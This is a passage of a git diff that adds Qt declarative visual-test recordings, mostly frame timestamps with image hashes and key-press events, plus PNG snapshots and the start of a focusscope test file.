"4780d8094833831f27d1aff3e0f9689f" + } + Frame { + msec: 5744 + hash: "4780d8094833831f27d1aff3e0f9689f" + } + Frame { + msec: 5760 + image: "test3.5.png" + } + Frame { + msec: 5776 + hash: "93c8d7980de378a055b7ca824882ae4e" + } + Frame { + msec: 5792 + hash: "e0abe402f89c5d84e5a02f0e4bcbd5e3" + } + Frame { + msec: 5808 + hash: "067ca20bcfab459a28af7e8dc2830032" + } + Frame { + msec: 5824 + hash: "d27dc1a08c66cf5f4a84efe3be522ec3" + } + Frame { + msec: 5840 + hash: "639f7555adc7958e807c2e774694fe25" + } + Frame { + msec: 5856 + hash: "b55f5fcbc2284736695049b2cdc9c8ce" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5872 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5888 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5904 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5920 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5936 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5952 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5968 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 5984 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6000 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6016 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6032 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6048 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6064 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6080 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6096 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6112 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6128 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6144 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6160 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6176 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6192 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6208 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6224 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6240 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6256 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 6272 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6288 + hash: "48910947dd160b33251c54ff45f6a0db" + } + Frame { + msec: 6304 + hash: "48910947dd160b33251c54ff45f6a0db" + } + Frame { + msec: 6320 + hash: "20b0f988a1517d67a0d3c78ae8af4e5a" + } + Frame { + msec: 6336 + hash: "355b5b161176c31bcbae198b1581f59b" + } + Frame { + msec: 6352 + hash: "19cbb853a93bd062a53d7908df54bfbd" + } + Frame { + msec: 6368 + hash: "13fbe723f288cffd09f0a86b71457161" + } + Frame { + msec: 6384 + hash: "0014ed3b1a868cf75bfffedb52674c5c" + } + Frame { + msec: 6400 + hash: "a1c444be02b90e69319096b8a508947d" + } + Frame { + msec: 6416 + hash: "b88a3f2f3290e4262757b1f5741cb5ce" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6432 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6448 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6464 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6480 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6496 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6512 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6528 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6544 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6560 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6576 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6592 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6608 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6624 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6640 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6656 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6672 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6688 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6704 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6720 + image: "test3.6.png" + } + Frame { + msec: 6736 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6752 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6768 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6784 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6800 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6816 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6832 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 6848 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 6864 + hash: "a44bb76233c69780c178dddd79cc1968" + } + Frame { + msec: 6880 + hash: "a44bb76233c69780c178dddd79cc1968" + } + Frame { + msec: 6896 + hash: "154b11fd0468aa18d1ef1895f2e2923c" + } + Frame { + msec: 6912 + hash: "fe7ecb02e63fbb7584405e7162f0ee21" + } + Frame { + msec: 6928 + hash: "90b6fea69d106c628a9c7ff23a97e6c2" + } + Frame { + msec: 6944 + hash: "3e233e837e24976d441b6cabc3b74098" + } + Frame { + msec: 6960 + hash: "7a490f7be5c4c0ae09421f884e9adadb" + } + Frame { + msec: 6976 + hash: "462d44603dd661ccf126c81197608056" + } + Frame { + msec: 6992 + hash: "0b7ca73497c37255bccad6787d690236" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7008 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7024 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7040 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7056 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7072 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7088 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7104 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7120 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7136 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7152 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7168 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7184 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7200 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7216 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7232 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7248 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7264 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7280 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7296 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7312 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7328 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7344 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7360 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7376 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7392 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7408 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7424 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 7440 + hash: "224ade5c942415100b5418a11d043611" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7456 + hash: "95ff2a535a13fcdded94229d53848f7c" + } + Frame { + msec: 7472 + hash: "95ff2a535a13fcdded94229d53848f7c" + } + Frame { + msec: 7488 + hash: "d2386e4137632f15aa5ba9dd1a138a67" + } + Frame { + msec: 7504 + hash: "9f2c40191c1a81f37543f5bfcb852bdf" + } + Frame { + msec: 7520 + hash: "5facdbcc9d7ab0adfcb2ca9d1812a3f5" + } + Frame { + msec: 7536 + hash: "7bbb08470e4f3eeabe710e0ea327c467" + } + Frame { + msec: 7552 + hash: "630abf60d09d3a685d79e6da627b3aa2" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7568 + hash: "d8aed706508814cdbd1ef0984f112b94" + } + Frame { + msec: 7584 + hash: "d191c2dc3e2edd05bfd649dcfa51029e" + } + Frame { + msec: 7600 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7616 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7632 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7648 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7664 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7680 + image: "test3.7.png" + } + Frame { + msec: 7696 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7712 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7728 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7744 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7760 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7776 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7792 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7808 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7824 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7840 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7856 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7872 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7888 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7904 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7920 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7936 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7952 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 7968 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 7984 + hash: "fb386abfd73a3feb05b573d16ffa93f9" + } + Frame { + msec: 8000 + hash: "fb386abfd73a3feb05b573d16ffa93f9" + } + Frame { + msec: 8016 + hash: "fa1374155fc5427c72bd09ec5a315172" + } + Frame { + msec: 8032 + hash: "ee35a3edf91865e28b16b9fcab8b4c1c" + } + Frame { + msec: 8048 + hash: "10f2677f7c8efe9f64e401940dec3ef7" + } + Frame { + msec: 8064 + hash: "b2c53bb14a8a6643e69cad2bbb4aacf4" + } + Frame { + msec: 8080 + hash: "7b7c7d167aca55464d1874ed726ec646" + } + Frame { + msec: 8096 + hash: "19a828ca70133801f1f470f6e348857b" + } + Frame { + msec: 8112 + hash: "bc829873ea3cf8ca8484d990d4b80aa2" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8128 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8144 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8160 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8176 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8192 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8208 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8224 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8240 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8256 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8272 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8288 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8304 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8320 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8336 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8352 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8368 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8384 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8400 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8416 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8432 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8448 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8464 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8480 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 8496 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8512 + hash: "d0d487fd66bcf4177188d4862bd74bc0" + } + Frame { + msec: 8528 + hash: "d0d487fd66bcf4177188d4862bd74bc0" + } + Frame { + msec: 8544 + hash: "4a4c2e49e4852748916a4d68710e4ae6" + } + Frame { + msec: 8560 + hash: "0135092d8a296b7121495cc3994a0f9d" + } + Frame { + msec: 8576 + hash: "7e004aae70236568d635ba929e085b2b" + } + Frame { + msec: 8592 + hash: "3e6a4f60a57515a6bfe4d803c7c22da8" + } + Frame { + msec: 8608 + hash: "142b866861f539837b0bdabaf48028e7" + } + Frame { + msec: 8624 + hash: "32a4757602c923366566d9005c78f6cf" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 8640 + image: "test3.8.png" + } + Frame { + msec: 8656 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8672 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8688 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8704 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8720 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8736 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8752 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8768 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8784 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8800 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8816 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8832 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8848 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8864 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8880 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8896 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8912 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8928 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8944 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8960 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8976 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 8992 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 9008 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 9024 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 9040 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 9056 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9072 + hash: "b1dc330f31b064f1e3ff4e913773cde8" + } + Frame { + msec: 9088 + hash: "b1dc330f31b064f1e3ff4e913773cde8" + } + Frame { + msec: 9104 + hash: "a0419dede71451f36c93960c8ef8c00c" + } + Frame { + msec: 9120 + hash: "b8141758fc93aa1b286fd60f91e6fa7e" + } + Frame { + msec: 9136 + hash: "8b0d786f239c545be3f51622c336f1e1" + } + Frame { + msec: 9152 + hash: "25ec52efac83de4f8cade8f257b93b8e" + } + Frame { + msec: 9168 + hash: "5a1476841b9aaa0e85c397c0447be352" + } + Frame { + msec: 9184 + hash: "d648b0911e6ab78e53121fde8b66b50b" + } + Frame { + msec: 9200 + hash: "f552863ff4b76286d03240409c0a928b" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 9216 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9232 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9248 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9264 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9280 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9296 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9312 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9328 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9344 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9360 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9376 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9392 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9408 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9424 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9440 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9456 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9472 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9488 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9504 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9520 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9536 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9552 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9568 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9584 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9600 + image: "test3.9.png" + } + Frame { + msec: 9616 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9632 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9648 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9664 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9680 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9696 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9712 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9728 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9744 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9760 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9776 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9792 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9808 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9824 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9840 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9856 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9872 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9888 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9904 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9920 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9936 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9952 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9968 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 9984 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10000 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10016 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10032 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10048 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10064 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10080 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10096 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10112 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10128 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10144 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10160 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10176 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10192 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10208 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10224 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10240 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10256 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10272 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10288 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10304 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10320 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10336 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10352 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10368 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 10384 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10400 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10416 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 10432 + hash: "f3b4cab7975190f756c923f16ce4c298" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png new file mode 100644 index 0000000..67b99e0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png new file mode 100644 index 0000000..67b99e0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png new file mode 100644 index 0000000..69f0366 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png new file mode 100644 index 0000000..afe0bd9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.4.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.4.png new file mode 100644 index 0000000..afe0bd9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.5.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.5.png new file mode 100644 index 0000000..afe0bd9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test.qml new file mode 100644 index 0000000..d86c034 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.qml @@ -0,0 +1,1599 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 32 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 48 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 64 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 80 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 96 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 112 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 128 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 144 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 160 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 176 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 192 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 208 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 224 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 240 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 256 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 272 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 288 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 304 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 320 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 336 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 352 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 368 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 384 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 400 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 416 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 432 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 448 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 464 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 480 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 496 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 512 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 528 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + 